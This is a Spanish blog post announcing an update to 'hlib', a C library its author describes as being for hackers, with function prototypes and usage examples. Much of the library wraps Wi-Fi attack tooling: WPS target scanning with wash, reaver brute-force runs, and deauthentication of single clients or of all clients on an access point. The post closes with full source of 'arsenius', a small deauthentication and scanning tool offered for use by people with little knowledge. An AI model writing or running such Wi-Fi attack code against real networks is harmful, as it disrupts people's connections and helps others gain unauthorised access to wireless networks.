Actualizada la librería hlib

Muchos saludos a la comunidad de software libre, en esta ocasión les informo que he actualizado la librería hlib para hackers y para acelerar la programación de cuestiones avanzadas desde C/C++. Para usar la librería incluya:

#include <hlib.h> al inicio del programa, compile adjuntando -I/ruta/hlib o bien en caso de que la carpeta esté en la misma ubicación del proyecto solo use el hlib.h entre comillas en vez de los símbolos de menor y mayor.

Hay disponibles nuevas funciones para usar reaver/wash el cual debe estar previamente instalado.

 

El enlace de descarga es

Versión Linux

 

Un resumen de las nuevas funciones.

/*—————————————————————*/

/* — WIFI — */

/* Devuelve el canal equivalente en la tabla de ssids encontrada con hlb_net_wash_scan */
const char *hlb_wash_ssid_to_channel(const char *ssid);

/* Devuelve el bssid equivalente en la tabla de ssids encontrada con hlb_net_wash_scan */
const char *hlb_wash_ssid_to_bssid(const char *ssid);

/* Ejecuta reaver con opciones simples */
int hlb_reaver_run(const char *intmon, const char *bssid, const char *channel);

/* Define primeramente la version a usar antes de usar las funciones wps */
void hlb_hack_set_wps_ver(const char *wpsver);

/* Usa wash para escanear objetivos con wps activado */
void hlb_net_wash_scan(const char *intfmon);

/* Luego de escanear con wash guarda solo ssids. Debe llamar a esta primero antes de obtener los otros. */
/* hlb_wps.count contiene las redes vulnerables encontradas. */
/* hlb_wps.list[indice].ssid contiene el nombre de una de las redes */
void hlb_net_wash_ssid_save(void);

/* Resetea y limpia lo encontrado por wash */
void hlb_net_wash_reset_data(void);

/* Envia paquetes de deautenticacion a un cliente, requiere modo monitor intfmon */
void hlb_net_wifi_send_interference(const char *intfmon, const char *apmac, const char *clientmac);

/* Desautentifica a todos en un AP intfmon debe ser modo monitor. */
void hlb_net_wifi_deauthall(const char *intfmon, const char *macAp);

/* Ver alrededores wifi con solo la interfaz */
void hlb_net_wifi_viewpanorama(const char *intf);

/* Ver alrededores en el aire a punto Ap definido. La interface debe estar en modo monitor. */
void hlb_net_wifi_viewspacefiltered(const char *intf, const char *bssid, const char *channel);

/* Ver alrededores en el aire a punto Ap definido. La interface actual no se sobreescribe. */
void hlb_net_wifi_viewpanoramafilt(const char *intf, const char *bssid, const char *channel);

/* Poner una interface wifi en modo monitor */
void hlb_net_wifi_setmonitor(const char *intf);

/* Ver espacio alrededor de aps y clientes de aps */
void hlb_net_wifi_viewspace(const char *intfmon);

/* Crea una interfaz wifi virtual */
void hlb_net_wifi_create_virtual(const char *intf, const char *namevirtual);

/* Elimina una interfaz wifi */
void hlb_net_wifi_delete_interface(const char *intf);

/* Poner la potencia maxima en el dispositivo wifi */
void hlv_net_wifi_set_powermax(void);

/* Obtiene el nombre del dispositivo que esta conectado */
char *hlb_net_wifi_get_connected_device(void);

/* Obtiene el ssid del dispositivo wifi */
char *hlb_net_wifi_get_ssid(const char *device);

/* Obtiene el txpower del dispositivo wifi */
char *hlb_net_wifi_get_power(const char *device); /* Devuelve managed, AP, etc */

/* Obtiene el modo de trabajo del dispositivo wifi */
char *hlb_net_wifi_get_mode(const char *device); /* Devuelve managed, AP, etc */

/* Obtiene la MAC actual del dispositivo wifi */
char *hlb_net_wifi_get_mac(const char *device);

/* Obtiene el canal de transmision o conexion del dispositivo wifi */
char *hlb_net_wifi_get_channel(const char *device);

/* Devuelve una lista de nombres de dispositivos wifi */
char **hlb_net_wifi_get_devices(void);

/* Devuelve la cantidad de dispositivos wifi de la pc */
int hlb_net_wifi_count_devices(void);

/* Activa modo monitor conveniente */
void hlb_net_activate_monitor(const char *intf);

/* Desactiva modo monitor cy elimina interface virtual hack0 */
void hlb_net_deactivate_monitor();

/*—————————————————————*/

/* — TEXTO — */

/* Mostrar lineas numeradas de las lineas de lin. lines_data[] es un objeto interno
de tipo struct LINE para esto */
void hlb_show_lines_numbered(struct LINE *lin);

/* Reemplaza un caracter de un array de cadena. */
void hlb_replace_chars(char *text, char cr, char nwch);

/* Reemplaza caracteres problematicos de una cadena */
void hlb_filterchars(char *chars);

/*—————————————————————*/

/* — REDES — */

/* Obtiene la MAC de un dispositivo de red */
char *hlb_net_get_mac(const char *intf);

/* Devuelve la pasarela actual */
char *hlb_net_get_gateway(void);

/* Desabilita el proxy de la PC para conectar directamente */
void hlb_disable_proxy(void);

/* Activa una interfaz de red */
void hlb_net_activate_interface(const char *intf);

/*Desactiva una interfaz de red */
void hlb_net_deactivate_interface(const char *intf);

/* Activa dispositivo de red */
void hlb_net_activate_device(const char *device);

/* Desactiva dispositivo de red */
void hlb_net_deactivate_device(const char *device);

/*—————————————————————*/

/* — SUBPROGRAMAS — */

/* Devuelve la salida de un comando max 500000 caract */
char *hlb_subprog_get_out_command(const char *command);

/* Matar procesos que coinciden con un nombre */
void hlb_subprog_pkill(const char *procname);
/*—————————————————————*/

/* — DESCARGAS — */

/* Descarga el código fuente de un sitio web y lo devuelve como un puntero max 1000000 caract. */
char *hlb_get_site_code(const char *uri);

/* Descarga el binario de youtube-dl dada su sitio fuente. */
void download_youtubedl(const char *src);

/*—————————————————————*/

/* — YOUTUBE — */

/* Obtener el código fuente de youtube como lista **lst */
char ** hlb_get_youtube_code();

/* Muestra los videos de youtube numerados. */
void hlb_show_titles(struct LINE *lin);

/* Reproducir un video de youtube con el reproductor definido en PLAYER */
void hlb_viewvid(const char *uri, const char *fmt, const char *title);

/* Obtiene el formato especificado de una url de youtube ej de fmt «360p» */
const char * hlb_getformatcode(const char *uri, const char *fmt);
/*—————————————————————*/

 

Algunos ejemplos de uso de la librería:

#include <hlib.h>

int main()
{
char sal[]=»hola amigo mio esto es un ejemplo»;
hlb_replace_chars(sal, ‘ ‘, ‘_’);
puts(sal);

strcpy(sal, «micadena %\’\»\n@#$$#%&&^*»);
hlb_filterchars(sal);
puts(sal);

}

#include
#include
#include

int main(int argc, char *argv[])
{
int i = 0;
hlb_net_wifi_get_devices();

for(i = 0; i < net_devices.count; ++i){
puts(«»);
hlb_net_wifi_set_powermax();
printf(«Dispositivo favorito conectado %s \n», hlb_net_wifi_get_connected_device());
printf(«La wifi actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_ssid(NET_DEVICES[i].name));
printf(«Canal actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_channel(NET_DEVICES[i].name));
printf(«Potencia actual en %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_power(NET_DEVICES[i].name));
printf(«MAC de %s es %s\n», NET_DEVICES[i].name , hlb_net_wifi_get_mac(NET_DEVICES[i].name));
printf(«Tipo %s\n», hlb_net_wifi_get_mode(NET_DEVICES[i].name));
puts(«»);
}
return 0;
}

#include

int main(int argc, char *argv[])
{
char *gw = NULL;
char *mac = NULL;
gw = hlb_net_get_gateway();
mac = hlb_net_get_mac(«wlan0»);
puts(gw);
puts(mac);
return 0;
}

Y para finalizar el corto código de arsenius gracias a esta librería:

/*
ESTE PROGRAMA ES ESCRITO POR HAYLEM CANDELARIO BAUZA
SOFTWARE LIBRE GPLV2+.
ESTE PROGRAMA ES USADO PARA DESAUTENTICAR PUNTOS ESPECIFICOS
DE UNA RED WIFI Y PARA ESCANEARLAS SIN MUCHOS CONOCIMIENTOS
*/

#include
#include
#include
#include

#define MAXDEAUTH «10»

int main(int argc, char *argv[])
{
if(argc < 2)
{
puts(«Uso:»);
printf(«%s -s interfacewifi -Ver todo el espacio\n», argv[0]);
printf(«%s -f interfacewifi macAp canalAp -Ver clientes de ap\n», argv[0]);
printf(«%s -a interfaceManaged MacAp MacCliente -Desautenticar cliente\n», argv[0]);
printf(«%s -k interfaceWifi MacAP -Desautenticar a todos\n», argv[0]);
printf(«%s -v -Ver requerimientos\n», argv[0]);

return 0;
}

if(strcmp(argv[1], «-v») == 0)
{
printf(«Este programa requiere aircrack-ng y acceso root\n»);
}

if(strcmp(argv[1], «-k») == 0)
{
hlb_net_wifi_delete_interface(«arsenico»);
hlb_net_wifi_create_virtual(argv[2], «arsenico0»);
hlb_net_activate_interface(«arsenico0»);
hlb_net_wifi_setmonitor(«arsenico0»);
hlb_net_wifi_deauthall(«arsenico0», argv[3]);
hlb_net_wifi_delete_interface(«arsenico0»);
}

if(strcmp(argv[1], «-s») == 0)
{
hlb_net_wifi_viewpanorama(argv[2]);
}

if(strcmp(argv[1], «-f») == 0)
{
hlb_net_wifi_viewpanoramafilt(argv[2], argv[3], argv[4]);
}

if(strcmp(argv[1], «-a») == 0)
{

hlb_net_wifi_delete_interface(«arsenico»);
hlb_net_wifi_create_virtual(argv[2], «arsenico0»);
hlb_net_activate_interface(«arsenico0»);
hlb_net_wifi_setmonitor(«arsenico0»);
hlb_net_wifi_send_interference(«arsenico0», argv[3], argv[4]);
hlb_net_wifi_delete_interface(«arsenico0»);
}

}

¿Te resultó interesante? Compártelo ...



haylemhcb

Publicado por haylemhcb

Forma parte de GUTL desde el 12 mayo, 2020. Me gusta la programación y el software libre. Soy autodidacta. Trabajo en el policlínico de Stgo de las Vegas René Bedia Morales como responsable de Seguridad informática y Administrador de red. Anteriormente trabajé en el INOR(Oncológico como técnico y luego Jefe de seguridad informática)